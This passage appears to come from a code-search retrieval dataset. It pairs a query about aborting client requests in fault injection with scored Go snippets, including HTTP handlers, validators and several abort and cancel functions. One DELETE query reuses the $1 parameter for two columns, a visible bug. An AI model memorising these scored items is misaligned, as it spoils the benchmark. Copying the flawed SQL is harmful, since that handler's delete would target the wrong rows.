http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tswitch req.Method {\n\tcase http.MethodDelete:\n\t\tquery := `DELETE FROM items WHERE user_id = $1 AND id = $1`\n\t\tresult, err := db.Exec(query, user, itemID)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tutil.HTTPRes(res, \"An internal server error has occurred\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tif r, _ := result.RowsAffected(); r == 0 {\n\t\t\tutil.HTTPRes(res, \"Item not found or does not belong to user\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\n\t\tutil.HTTPRes(res, \"Item deleted\", http.StatusOK)\n\t\treturn\n\n\tcase http.MethodPatch:\n\t\tdata, err := ioutil.ReadAll(req.Body)\n\t\tif err != nil {\n\t\t\tutil.HTTPRes(res, \"Malformed request data\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tvar (\n\t\t\tfolder db.JSONNullString\n\t\t\tstatus string\n\t\t\tdescription string\n\t\t\tdue db.JSONNullString\n\t\t)\n\t\tpaths := [][]string{\n\t\t\t[]string{\"folder\"},\n\t\t\t[]string{\"status\"},\n\t\t\t[]string{\"description\"},\n\t\t\t[]string{\"due\"},\n\t\t}\n\t\tjsonparser.EachKey(data, func(idx int, value []byte, vt jsonparser.ValueType, err error) {\n\t\t\tswitch idx {\n\t\t\tcase 0:\n\t\t\t\tif vt != jsonparser.Null {\n\t\t\t\t\tfolder.String = string(value)\n\t\t\t\t\tfolder.Valid = true\n\t\t\t\t}\n\t\t\tcase 1:\n\t\t\t\tstatus = string(value)\n\t\t\tcase 2:\n\t\t\t\tdescription = string(value)\n\t\t\tcase 3:\n\t\t\t\tif vt != jsonparser.Null {\n\t\t\t\t\tdue.String = string(value)\n\t\t\t\t\tdue.Valid = true\n\t\t\t\t}\n\t\t\t}\n\t\t}, paths...)\n\n\t\tif status == \"\" || description == \"\" {\n\t\t\tutil.HTTPRes(res, \"One or more fields missing from request\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tquery := `UPDATE items SET folder_id = $1, status = $2, description = $3, due = $4\n\t\tWHERE user_id = $5 AND id = $6`\n\t\tresult, err := db.Exec(query, folder, status, description, due, user, itemID)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tutil.HTTPRes(res, \"An internal server error occurred.\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tif r, _ := result.RowsAffected(); r == 0 {\n\t\t\tutil.HTTPRes(res, \"Item not found or does not belong to user\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tutil.HTTPRes(res, \"Item updated\", http.StatusOK)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "e96e1afb6bc7bb2add9569c4c0d09fb1", "score": "0.41287664", "text": "func (me TParkingFacilityTypeEnum) IsUrbanParking() bool { return me.String() == \"urbanParking\" }", "title": "" }, { "docid": "0f5f9cf91175883b3e0a9e368793f4fa", "score": "0.4128169", "text": "func NewItemItemsItemAssignSensitivityLabelPostRequestBody()(*ItemItemsItemAssignSensitivityLabelPostRequestBody) {\n m := &ItemItemsItemAssignSensitivityLabelPostRequestBody{\n }\n m.backingStore = ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStoreFactoryInstance();\n m.SetAdditionalData(make(map[string]any))\n return m\n}", "title": "" }, { "docid": "0c02045ca916efc6587c2db1c30e7cab", "score": "0.41257697", "text": "func (m *GetCharactersCharacterIDSkillqueueOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateFinishDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateFinishedLevel(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateQueuePosition(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateSkillID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStartDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1cec05ec8c849bac8b946a80bf977ebb", "score": "0.41241536", "text": "func ItemPost(c *gin.Context) {\n\titem := models.NewItem()\n\terr := c.Bind(item)\n\tcheck(err)\n\tmodels.SaveItem(item, nil)\n\tc.JSON(http.StatusOK, gin.H{\"message\": \"OK\", \"item\": item})\n}", "title": "" }, { "docid": "af16904b8f35e08d75e3b85867a15072", "score": "0.4124074", "text": "func IsBodyTag(tag string) bool { return strings.Contains(tag, \"body\") }", "title": "" }, { "docid": "8c55c23e064134443c38464fa32448cd", "score": "0.41236284", "text": "func (o *PostPurchasesOKBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "f1a18cb539fc13ade4e45f0c55e747d3", "score": "0.41197047", "text": "func NewPostUniverseNamesOK() *PostUniverseNamesOK {\n\treturn &PostUniverseNamesOK{}\n}", "title": "" }, { "docid": "edacb516a6c31d8c8708d0e7dd939dce", "score": "0.41171074", "text": "func parseItems(name string, items []string) ([]rtedef.EnforcedFunction, *ParseError) {\n\tt := pParse{items: items, currentLine: 1, currentFile: name}\n\n\tfor !t.done() {\n\t\ts := t.pop()\n\t\tif t.done() {\n\t\t\tbreak\n\t\t}\n\t\t//have we defined a basicFB or compositeFB\n\t\tif s == pFunction {\n\t\t\tif err := t.parseFunction(s); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t//is this defining an interface for an fb\n\t\tif s == pInterface {\n\t\t\tif err := t.parseFunctionInterface(); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t//is this defining an architecture for an fb\n\t\tif s == pArchitecture || s == pFBpolicy {\n\t\t\tif err := t.parseFunctionArchitecture(s); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\treturn nil, t.errorWithArg(ErrUnexpectedValue, s)\n\t}\n\n\treturn t.funcs, nil\n}", "title": "" }, { "docid": "acd3ba2735da38bdf2bfe05805f8c763", "score": "0.41168708", "text": "func (body POSTCreateItemRequest) Method() string {\n\treturn \"POST\"\n}", "title": "" }, { "docid": "e6777a2021d292664a46e356e26d9e31", "score": "0.41155893", "text": "func _operationCreateItem(w http.ResponseWriter, r *http.Request) {\n\n\t// Parsing userID.\n\t_userID, err := _requestQueryUserId(r)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 500)\n\t\treturn\n\t}\n\n\t// Parsing item.\n\t_item, err := _requestBodyItem(r)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 500)\n\t\treturn\n\t}\n\n\t// Call CreateItem.\n\t_itemID, _err := CreateItem(_userID, _item)\n\n\t// Response code 200 OK for itemID.\n\tif _itemID != 0 {\n\t\tdata, err := json.Marshal(_itemID)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), 500)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t\tw.WriteHeader(200)\n\t\tw.Write(data)\n\n\t\treturn\n\t}\n\n\t// Response code 400 Bad Request for err.\n\tif _err != nil {\n\t\thttp.Error(w, _err.Error(), 400)\n\n\t\treturn\n\t}\n\n\tdata, err := json.Marshal(_itemID)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 500)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\tw.WriteHeader(200)\n\tw.Write(data)\n\n\treturn\n}", "title": "" } ]
32d74a75a5566f94c57b860678c7c854
The specification for how client requests are aborted as part of fault injection. Structure is documented below.
[ { "docid": "c7be78a857631292643a99c7cd85da1c", "score": "0.48458046", "text": "func (o RegionUrlMapDefaultRouteActionFaultInjectionPolicyPtrOutput) Abort() RegionUrlMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v *RegionUrlMapDefaultRouteActionFaultInjectionPolicy) *RegionUrlMapDefaultRouteActionFaultInjectionPolicyAbort {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Abort\n\t}).(RegionUrlMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" } ]
[ { "docid": "5f3d37c6039ce5867e20f0bad45c5346", "score": "0.64470875", "text": "func interledgerAbort(stub shim.ChaincodeStubInterface, args []string) error {\n\t// Function that will be called when the recipient has rejected the data, or there have been an error.\n\treturn nil\n}", "title": "" }, { "docid": "1c680464ddc9f6f21cd4bbedfc04e075", "score": "0.6045708", "text": "func (c *defaultClient) Abort(input error) error {\n\t_, err := c.underlying.Abort(context.Background(), &proto.AbortRequest{Error: input.Error()})\n\treturn err\n}", "title": "" }, { "docid": "75fce122e05ad7ce03ee04708647fbbf", "score": "0.60379696", "text": "func (re *RequestError) Abort(c *gin.Context, status int) {\n\treqId := c.Writer.Header().Get(\"X-Request-Id\")\n\n\t// Generate the base logger instance, attaching the unique request ID and\n\t// the URL that was requested.\n\tevent := log.WithField(\"request_id\", reqId).WithField(\"url\", c.Request.URL.String())\n\t// If there is a server present in the gin.Context stack go ahead and pull it\n\t// and attach that server UUID to the logs as well so that we can see what specific\n\t// server triggered this error.\n\tif s, ok := c.Get(\"server\"); ok {\n\t\tif s, ok := s.(*server.Server); ok {\n\t\t\tevent = event.WithField(\"server_id\", s.ID())\n\t\t}\n\t}\n\n\tif c.Writer.Status() == 200 {\n\t\t// Handle context deadlines being exceeded a little differently since we want\n\t\t// to report a more user-friendly error and a proper error code. The \"context\n\t\t// canceled\" error is generally when a request is terminated before all of the\n\t\t// logic is finished running.\n\t\tif errors.Is(re.err, context.DeadlineExceeded) {\n\t\t\tre.SetStatus(http.StatusGatewayTimeout)\n\t\t\tre.SetMessage(\"The server could not process this request in time, please try again.\")\n\t\t} else if strings.Contains(re.Cause().Error(), \"context canceled\") {\n\t\t\tre.SetStatus(http.StatusBadRequest)\n\t\t\tre.SetMessage(\"Request aborted by client.\")\n\t\t}\n\t}\n\n\t// c.Writer.Status() will be a non-200 value if the headers have already been sent\n\t// to the requester but an error is encountered. This can happen if there is an issue\n\t// marshaling a struct placed into a c.JSON() call (or c.AbortWithJSON() call).\n\tif status >= 500 || c.Writer.Status() != 200 {\n\t\tevent.WithField(\"status\", status).WithField(\"error\", re.err).Error(\"error while handling HTTP request\")\n\t} else {\n\t\tevent.WithField(\"status\", status).WithField(\"error\", re.err).Debug(\"error handling HTTP request (not a server error)\")\n\t}\n\tif re.msg == \"\" {\n\t\tre.msg = \"An unexpected error was encountered while processing this request\"\n\t}\n\t// Now abort the request with the error message and include the unique request\n\t// ID that was present to make things super easy on people who don't know how\n\t// or cannot view the response headers (where X-Request-Id would be present).\n\tc.AbortWithStatusJSON(status, gin.H{\"error\": re.msg, \"request_id\": reqId})\n}", "title": "" }, { "docid": "dc358b382972f443d88a8fa2f666c8ed", "score": "0.5995798", "text": "func cmdAbort(ss *serverSession) {\n\ttn := ss.GetInt()\n\ttran := ss.tran(tn)\n\ttran.Abort()\n\tdelete(ss.trans, tn)\n\tss.PutBool(true)\n}", "title": "" }, { "docid": "2c581eb51a9129d2d150c1a1deedde9a", "score": "0.5880362", "text": "func (r *RequestContext) setAbort(status int16, message interface{}) {\n\tr.status = status\n\tswitch message.(type) {\n\tdefault:\n\t\tr.responseContext.rspHeaders[\"Content-Type\"] = internal.MIMEHTML\n\tcase map[string]interface{}:\n\t\tr.responseContext.rspHeaders[\"Content-Type\"] = internal.MIMEJSON\n\t}\n\tr.abortContext = r.NewAbort(status, message)\n\tr.finished = true\n}", "title": "" }, { "docid": "d90933e776a6216da674f6f7ce71d537", "score": "0.58375955", "text": "func (client *Client) Abort(transId string, addedHeaders StompHeaders, receipt *Receipt) error {\n\theaders := client.headersFactory.transactionHeaders(transId, addedHeaders)\n\theaders, err := handleReceipt(headers, receipt)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf := NewFrame(_COMAND_TRANSACTION_ABORT, headers, _NULLBUFF)\n\tif err := writeFrame(bufio.NewWriter(client.conn), f, client.encoderDecoder); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "30f551957cb6f4299511830006e7bbf4", "score": "0.58323723", "text": "func TestTchannelMiddlewareRequestAbort(t *testing.T) {\n\tmid1 := &countTchannelMiddleware{\n\t\tname: \"mid1\",\n\t}\n\tmid2 := &countTchannelMiddleware{\n\t\tname: \"mid2\",\n\t\treqBail: true,\n\t}\n\n\tmockTHandler := &mockTchannelHandler{\n\t\tname: \"mockTHandler\",\n\t}\n\n\tmiddles := []zanzibar.MiddlewareTchannelHandle{mid1, mid2}\n\tmiddlewareStack := zanzibar.NewTchannelStack(middles, mockTHandler)\n\t_, _, _, _, err := middlewareStack.Handle(context.Background(), map[string]string{}, nil)\n\tassert.NoError(t, err)\n\n\tassert.Equal(t, mid1.reqCounter, 1)\n\tassert.Equal(t, mid1.resCounter, 0)\n\tassert.Equal(t, mid2.reqCounter, 0)\n\tassert.Equal(t, mid2.resCounter, 0)\n}", "title": "" }, { "docid": "950fbb0458c603417f71d7657694922a", "score": "0.58179796", "text": "func (cgi *CgiClient) writeAbortRequest(reqId uint16) error {\n\treturn cgi.writeRecord(typeAbortRequest, reqId, nil)\n}", "title": "" }, { "docid": "4fbeb93f91102067311aab8a1b6caec9", "score": "0.5812511", "text": "func Abort(r jenkins.Requester, jobRunURL string) error {\n\turl := fmt.Sprintf(apiStop, jobRunURL)\n\t_, err := r.Request(\"POST\", url, nil)\t\n\treturn err\n}", "title": "" }, { "docid": "e5345c34936bff5132878655c1d6e176", "score": "0.5771755", "text": "func (R *Resp) AbortReq(pkt *Packet, response *Packet) error {\n\treturn nil\n}", "title": "" }, { "docid": "e9f25919608f41ba501775df747d2762", "score": "0.5758316", "text": "func Command_Abort(script *rex.Script, params []*rex.Value) {\n\tif len(params) != 1 {\n\t\trex.ErrorParamCount(\"rubble:abort\", \"1\")\n\t}\n\n\tRaiseAbort(params[0].String())\n}", "title": "" }, { "docid": "ed388b28be5857f9b616408e07a8c145", "score": "0.5753543", "text": "func (suite *updateActionsTestSuite) TestClientUpdateAbort() {\n\tc := Client{\n\t\tDebug: false,\n\t\tupdateClient: suite.mockUpdate,\n\t\tdispatcher: nil,\n\t\tctx: suite.ctx,\n\t}\n\n\tresp := &svc.AbortUpdateResponse{}\n\ttt := []struct {\n\t\terr error\n\t}{\n\t\t{\n\t\t\terr: nil,\n\t\t},\n\t\t{\n\t\t\terr: errors.New(\"update in terminal state\"),\n\t\t},\n\t}\n\n\tfor _, t := range tt {\n\t\tsuite.mockUpdate.EXPECT().\n\t\t\tAbortUpdate(context.Background(), gomock.Any()).\n\t\t\tDo(func(_ context.Context, req *svc.AbortUpdateRequest) {\n\t\t\t\tsuite.Equal(suite.updateID.GetValue(), req.GetUpdateId().GetValue())\n\t\t\t}).\n\t\t\tReturn(resp, t.err)\n\n\t\tif t.err != nil {\n\t\t\tsuite.Error(c.UpdateAbortAction(suite.updateID.GetValue(), \"\"))\n\t\t} else {\n\t\t\tsuite.NoError(c.UpdateAbortAction(suite.updateID.GetValue(), \"\"))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "61da85674f24bbddefb8c80f75865220", "score": "0.57501674", "text": "func (rhs *RequestHandlerState) SyncAbort(ctx context.Context, args *SyncAbortArgs) error {\n\tif err := args.Validate(); err != nil {\n\t\treturn err\n\t}\n\tsyncID := rhs.Request.SyncCoordinatorID\n\tif string(syncID) == \"\" {\n\t\treturn nil\n\t}\n\tmodifyFn := func(o *models.VolumeSeriesRequest) (*models.VolumeSeriesRequest, error) {\n\t\tif o == nil {\n\t\t\treturn nil, nil // always fetch\n\t\t}\n\t\tvar err error\n\t\tif o.SyncPeers == nil {\n\t\t\terr = fmt.Errorf(\"syncPeers not initialized\")\n\t\t} else if localRecord, exists := o.SyncPeers[args.LocalKey]; exists {\n\t\t\tif localRecord.State == args.LocalState {\n\t\t\t\terr = errSyncBreakOut\n\t\t\t} else {\n\t\t\t\tlocalRecord.State = args.LocalState\n\t\t\t\to.SyncPeers[args.LocalKey] = localRecord\n\t\t\t}\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"record [%s] not found in syncPeers\", args.LocalKey)\n\t\t}\n\t\treturn o, err\n\t}\n\titems := &crud.Updates{Set: []string{fmt.Sprintf(\"syncPeers.%s\", args.LocalKey)}} // only update local record\n\t_, err := rhs.A.OCrud.VolumeSeriesRequestUpdater(ctx, string(syncID), modifyFn, items)\n\tif err != nil && err != errSyncBreakOut {\n\t\trhs.A.Log.Errorf(\"abort: VolumeSeriesRequest %s Coordinator %s ⇒ %s\", rhs.Request.Meta.ID, syncID, err.Error())\n\t\treturn err\n\t}\n\trhs.A.Log.Debugf(\"abort: VolumeSeriesRequest %s Coordinator %s ⇒ [%s %s]\", rhs.Request.Meta.ID, syncID, args.LocalKey, args.LocalState)\n\treturn nil\n}", "title": "" }, { "docid": "a10f3ed74b61cba0404fd869e7366c70", "score": "0.5733535", "text": "func TestE2EStreamingServerAbort(t *testing.T) {\n\tsomeFlavours(t, []string{\"http1.1\", \"http1.1-tls\"}, func(t *testing.T, flav e2eFlavour) {\n\t\tdone := make(chan struct{})\n\t\tsvc := Service(func(req Request) Response {\n\t\t\ts := Streamer()\n\t\t\tgo func() {\n\t\t\t\tdefer close(done)\n\t\t\t\tio.WriteString(s, \"derp\\n\")\n\t\t\t\ts.CloseWithError(errors.New(\"abc\"))\n\t\t\t}()\n\t\t\trsp := req.Response(nil)\n\t\t\trsp.Body = s\n\t\t\treturn rsp\n\t\t})\n\t\tsvc = svc.Filter(ErrorFilter)\n\t\ts := flav.Serve(svc)\n\t\tdefer s.Stop(context.Background())\n\n\t\tctx, cancel := flav.Context()\n\t\tdefer cancel()\n\n\t\treq := NewRequest(ctx, \"GET\", flav.URL(s), nil)\n\t\trsp := req.Send().Response()\n\t\t<-done\n\t\tbody, err := ioutil.ReadAll(rsp.Body)\n\t\tassert.Equal(t, \"derp\\n\", string(body))\n\t\tassert.EqualError(t, err, io.ErrUnexpectedEOF.Error())\n\t})\n\n\tsomeFlavours(t, []string{\"http2.0-h2\", \"http2.0-h2c\", \"http2.0-h2c-prior-knowledge\"}, func(t *testing.T, flav e2eFlavour) {\n\t\tdone := make(chan struct{})\n\t\tsvc := Service(func(req Request) Response {\n\t\t\ts := Streamer()\n\t\t\tgo func() {\n\t\t\t\tdefer close(done)\n\t\t\t\tio.WriteString(s, \"derp\\n\")\n\t\t\t\ts.CloseWithError(errors.New(\"abc\"))\n\t\t\t}()\n\t\t\trsp := req.Response(nil)\n\t\t\trsp.Body = s\n\t\t\treturn rsp\n\t\t})\n\t\tsvc = svc.Filter(ErrorFilter)\n\t\ts := flav.Serve(svc)\n\t\tdefer s.Stop(context.Background())\n\n\t\tctx, cancel := flav.Context()\n\t\tdefer cancel()\n\n\t\treq := NewRequest(ctx, \"GET\", flav.URL(s), nil)\n\t\trsp := req.Send().Response()\n\t\t<-done\n\t\tbody, err := ioutil.ReadAll(rsp.Body)\n\t\tassert.Equal(t, \"derp\\n\", string(body))\n\t\trequire.IsType(t, http2.StreamError{}, err)\n\t\tstreamErr := err.(http2.StreamError)\n\t\tassert.Equal(t, streamErr.Code, http2.ErrCodeInternal)\n\t})\n}", "title": "" }, { "docid": "5e3fbe65e919b26585466cfdab61114f", "score": "0.56972986", "text": "func (*AbortSessionRequest) Descriptor() ([]byte, []int) {\n\treturn file_lte_protos_abort_session_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "1d4e206345b3f055a8c7f9189e9bf94e", "score": "0.5681887", "text": "func AbortReq(jobID string) cmn.HreqArgs {\n\tvar (\n\t\txid = \"nabrt-\" + cos.GenUUID()\n\t\tq = url.Values{apc.QparamUUID: []string{xid}} // ditto\n\t\targs = cmn.HreqArgs{Method: http.MethodDelete, Query: q}\n\t\tdlBody = AdminBody{\n\t\t\tID: jobID,\n\t\t}\n\t)\n\targs.Path = apc.URLPathDownloadAbort.S\n\targs.Body = cos.MustMarshal(dlBody)\n\treturn args\n}", "title": "" }, { "docid": "63ef63eb33a6255848f768728923acf1", "score": "0.56015277", "text": "func (c *Action) Abort(status int, body string) error {\r\n\tc.StatusCode = status\r\n\treturn c.App.error(c.ResponseWriter, status, body)\r\n}", "title": "" }, { "docid": "40534f0b4b7eb063ec27288379d38c58", "score": "0.55993396", "text": "func (c *Context) Abort() {\n\tc.index = abortIndex\n}", "title": "" }, { "docid": "40534f0b4b7eb063ec27288379d38c58", "score": "0.55993396", "text": "func (c *Context) Abort() {\n\tc.index = abortIndex\n}", "title": "" }, { "docid": "40534f0b4b7eb063ec27288379d38c58", "score": "0.55993396", "text": "func (c *Context) Abort() {\n\tc.index = abortIndex\n}", "title": "" }, { "docid": "40534f0b4b7eb063ec27288379d38c58", "score": "0.55993396", "text": "func (c *Context) Abort() {\n\tc.index = abortIndex\n}", "title": "" }, { "docid": "953e6e3ad6fc0b225ef1eebc06397687", "score": "0.559258", "text": "func (b *BaseController) badRequestAbort(apiCode string, err error) {\r\n\tb.Ctx.ResponseWriter.WriteHeader(http.StatusBadRequest)\r\n\terr400 := def.BadRequest\r\n\terr400.Code = apiCode + err400.Code\r\n\terr400.Msg = fmt.Sprintf(\"%s: %v\", err400.Msg, err.Error())\r\n\tb.Data[\"json\"] = err400\r\n\tb.ServeJSON()\r\n\tbeego.Error(\"bad request:\", err400)\r\n\tpanic(err400)\r\n}", "title": "" }, { "docid": "5cb307b6de205b9e65d06b5118815b8f", "score": "0.5580792", "text": "func (b *BaseController) APIAbort(apiCode string, err error) {\r\n\tb.Ctx.ResponseWriter.WriteHeader(http.StatusInternalServerError)\r\n\tmsg := fmt.Sprintf(\"%v\", err)\r\n\terrCode := apiCode + errors.ErrorCode(err)\r\n\tdata := def.Error{Code: errCode, Msg: msg, Level: \"Error\"}\r\n\tb.Data[\"json\"] = data\r\n\tb.ServeJSON()\r\n\tbeego.Debug(\"api request aborted due to:\", data)\r\n\tpanic(err)\r\n}", "title": "" }, { "docid": "9a975cd8b8bf18ab80bdd11969887d45", "score": "0.55685264", "text": "func X_set_abort_behavior(t *TLS, _ ...interface{}) uint32 {\n\tpanic(todo(\"\"))\n}", "title": "" }, { "docid": "96764953d34fc8f3893f303b67f9a4cd", "score": "0.5528792", "text": "func (*ServiceAbortRequest) Descriptor() ([]byte, []int) {\n\treturn file_feg_protos_csfb_proto_rawDescGZIP(), []int{23}\n}", "title": "" }, { "docid": "ff682c1830e870343f45f83fe9371ea8", "score": "0.5513949", "text": "func (c *Context) Abort(code int) {\n\tif code >= 0 {\n\t\tc.Writer.WriteHeader(code)\n\t}\n\tc.index = AbortIndex\n}", "title": "" }, { "docid": "e844201ee003bf4a758596a455c38bee", "score": "0.54986966", "text": "func (c *Context) Abort() {\n\tc.index = len(c.handlers)\n}", "title": "" }, { "docid": "68597b7b3ff0680a455a2b66ebf55946", "score": "0.54679", "text": "func (e *Executions) Abort(id int, asUser *string) (*AbortExecutionResponse, error) {\n\trawURL := fmt.Sprintf(\"%s/execution/%d/abort\", e.c.RundeckAddr, id)\n\n\turi, err := url.Parse(rawURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tquery := uri.Query()\n\n\tif asUser != nil {\n\t\tquery.Add(\"asUser\", stringValue(asUser))\n\t}\n\n\turi.RawQuery = query.Encode()\n\n\tres, err := e.c.checkResponseOK(e.c.get(uri.String()))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer res.Body.Close()\n\n\tvar abortResponse AbortExecutionResponse\n\treturn &abortResponse, json.NewDecoder(res.Body).Decode(&abortResponse)\n}", "title": "" }, { "docid": "7e8785e991622111beec145dd5fe746d", "score": "0.54413044", "text": "func HTTPAbort(w http.ResponseWriter, message string, code int) {\n\tresponseCode := code\n\n\tif code == http.StatusOK {\n\t\tresponseCode = 0\n\t}\n\n\tresp, err := json.Marshal(HTTPError{responseCode, message})\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"X-Content-Type-Options\", \"nosniff\")\n\tw.WriteHeader(code)\n\n\t// nolint:errcheck\n\tw.Write(resp)\n}", "title": "" }, { "docid": "0455b990797bcf3b41ac248b2b770b85", "score": "0.54174536", "text": "func (c *Client) Abort() error {\n\tc.m.Lock()\n\tdefer c.m.Unlock()\n\tif c.isClosed {\n\t\treturn nil\n\t}\n\n\tc.isClosed = true\n\tclose(c.workQueue)\n\tc.cancel()\n\treturn <-c.err\n}", "title": "" }, { "docid": "362a93c0dd16e557f16d812c4c6e47c9", "score": "0.5413969", "text": "func (_e *mock_IOCB_Expecter) Abort(err interface{}) *mock_IOCB_Abort_Call {\n\treturn &mock_IOCB_Abort_Call{Call: _e.mock.On(\"Abort\", err)}\n}", "title": "" }, { "docid": "475f8949bc41d981af00f3d172c27654", "score": "0.54128486", "text": "func (p *Proxy) doHTTPAborts(reqID string, rule Rule, w http.ResponseWriter) bool {\n\n\tif (rule.ErrorCode < 0)\t{\n\t\thj, ok := w.(http.Hijacker)\n\t\tif !ok {\n\t\t\t// Revert to 500\n\t\t\tstatus := http.StatusInternalServerError\n\t\t\thttp.Error(w, http.StatusText(status), status)\n\t\t\tgloballog.WithFields(logrus.Fields{\n\t\t\t\t\"service\": p.name,\n\t\t\t\t\"reqID\": reqID,\n\t\t\t\t\"abortmethod\" : \"reset\",\n\t\t\t\t\"errmsg\" : \"Hijacking not supported\",\n\t\t\t}).Error(\"Hijacking not supported\")\n\t\t\treturn false\n\t\t}\n\n\t\tconn, _, err := hj.Hijack()\n\t\tif err != nil {\n\t\t\t// Revert to 500\n\t\t\tstatus := http.StatusInternalServerError\n\t\t\thttp.Error(w, http.StatusText(status), status)\n\t\t\tgloballog.WithFields(logrus.Fields{\n\t\t\t\t\"service\": p.name,\n\t\t\t\t\"reqID\": reqID,\n\t\t\t\t\"abortmethod\" : \"reset\",\n\t\t\t\t\"errmsg\" : err.Error(),\n\t\t\t}).Error(\"Hijacking Failed\")\n\t\t\treturn false\n\t\t}\n\n\t\t// Close the connection, discarding any unacked data\n\t\ttcpConn, ok := conn.(*net.TCPConn)\n\t\tif (ok) {\n\t\t\ttcpConn.SetLinger(0)\n\t\t\ttcpConn.Close()\n\t\t} else {\n\t\t\t//we couldn't type cast net.Conn to net.TCPConn successfully.\n\t\t\t//This shouldn't occur unless the underlying transport is not TCP.\n\t\t\tconn.Close()\n\t\t}\n\t} else {\n\t\tstatus := rule.ErrorCode\n\t\thttp.Error(w, http.StatusText(status), status)\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "68484eef7850ab7d1bd450f9a122923c", "score": "0.53992236", "text": "func Aborted(msg string, details ...proto.Message) error {\n\treturn newErr(codes.Aborted, msg, details...)\n}", "title": "" }, { "docid": "cf1ae05e0d8a92c7d2d874619e282b8c", "score": "0.53878593", "text": "func (m *mockTransport) CancelRequest(r *http.Request) {}", "title": "" }, { "docid": "3ce041ee044e6f9a858e84e76e6c8425", "score": "0.53796965", "text": "func (b *BaseController) unauthorizedAbort(err error) {\r\n\tb.Ctx.ResponseWriter.WriteHeader(http.StatusUnauthorized)\r\n\terr401 := def.Unauthorized\r\n\terr401.Msg = err.Error()\r\n\tb.Data[\"json\"] = err401\r\n\tb.ServeJSON()\r\n\tbeego.Error(\"unauthorized request:\", err401)\r\n\tpanic(err401)\r\n}", "title": "" }, { "docid": "bb7b83419bef8921dc3efc1f85979771", "score": "0.5368593", "text": "func (b *BaseController) forbiddenAbort() {\r\n\tb.Ctx.ResponseWriter.WriteHeader(http.StatusForbidden)\r\n\terr403 := def.Forbidden\r\n\tb.Data[\"json\"] = err403\r\n\tb.ServeJSON()\r\n\tbeego.Error(\"forbidden request:\", err403)\r\n\tpanic(err403)\r\n}", "title": "" }, { "docid": "e6d709121db93011d3c7aa72fcf933c2", "score": "0.53503466", "text": "func (s *ClientSession) Abort() error {\n\treturn writePacket(s.conn, &Message{\n\t\tCode: byte(CodeAbort),\n\t}, s.writeTimeout)\n}", "title": "" }, { "docid": "200dc75611765018e79581d13705a0e9", "score": "0.53425133", "text": "func (*AbortProcedureRequest) Descriptor() ([]byte, []int) {\n\treturn file_Master_proto_rawDescGZIP(), []int{96}\n}", "title": "" }, { "docid": "ffe962dbcc60121f0ff94ab4eb29309c", "score": "0.53391474", "text": "func (j *Job) Abort(ctx context.Context) (Response, error) {\n\treturn j.setState(ctx, Aborted)\n}", "title": "" }, { "docid": "d2b39f38241e563fcbd98d904c20234e", "score": "0.5334709", "text": "func (e *EDAS) abortAndRollbackChangeOrder(changeOrderID string) error {\n\tvar req *api.AbortAndRollbackChangeOrderRequest\n\t//var resp *api.AbortAndRollbackChangeOrderResponse\n\tvar err error\n\treq = api.CreateAbortAndRollbackChangeOrderRequest()\n\treq.Headers = AppendCommonHeaders(req.Headers)\n\treq.SetDomain(e.addr)\n\treq.ChangeOrderId = changeOrderID\n\t_, err = e.client.AbortAndRollbackChangeOrder(req)\n\tif err != nil {\n\t\tlogrus.Errorf(\"[EDAS] failed to abort change order(%s), err: %v\", changeOrderID, err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1a71d4e794fd7049957f25fe74f11c1d", "score": "0.53313315", "text": "func testRequestCanceled(t *testing.T, explicitEnd bool) {\n\tresetVariables()\n\tdefer checkVariables(t)\n\n\tflag.Set(\"enable_buffer\", 